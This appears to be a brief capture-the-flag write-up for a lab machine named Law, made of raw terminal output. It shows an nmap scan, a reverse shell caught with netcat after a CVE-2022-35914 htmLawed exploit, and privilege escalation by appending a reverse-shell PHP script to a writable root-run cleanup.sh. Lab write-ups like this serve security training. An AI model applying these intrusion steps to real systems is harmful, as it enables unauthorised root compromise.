Law

Nmap scan report for 192.168.248.190
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Priv Esc

┌──(kali㉿kali)-[~/ctf/pg/law/CVE-2022-35914_poc]
└─$ nc -lnvp 80                                 
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.248.190] 37994
Linux law 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
 14:29:58 up 15 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@law:/$

www-data@law:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x  3 root     root     4096 Aug 25  2023 .
drwxr-xr-x 12 root     root     4096 Aug 24  2023 ..
-rwxr-xr-x  1 www-data www-data   82 Aug 25  2023 cleanup.sh
drwxr-xr-x  2 www-data www-data 4096 May 18 14:32 html
-rw-r--r--  1 www-data www-data   33 May 18 14:16 local.txt
www-data@law:/var/www$ 

www-data@law:/var/www$ php --version
php --version
PHP 7.4.33 (cli) (built: Feb 22 2023 20:07:47) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.33, Copyright (c), by Zend Technologies
www-data@law:/var/www$ ls /var/www/html/rev.php
ls /var/www/html/rev.php
/var/www/html/rev.php
www-data@law:/var/www$ echo "php /var/www/html/rev.php" >> cleanup.sh
echo "php /var/www/html/rev.php" >> cleanup.sh
www-data@law:/var/www$ cat cleanup.sh
cat cleanup.sh
#!/bin/bash

rm -rf /var/log/apache2/error.log
rm -rf /var/log/apache2/access.log
php /var/www/html/rev.php
www-data@law:/var/www$ 

┌──(kali㉿kali)-[~/ctf/pg/law]
└─$ nc -lnvp 80                                              
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.248.190] 55854
Linux law 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
 14:35:02 up 20 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#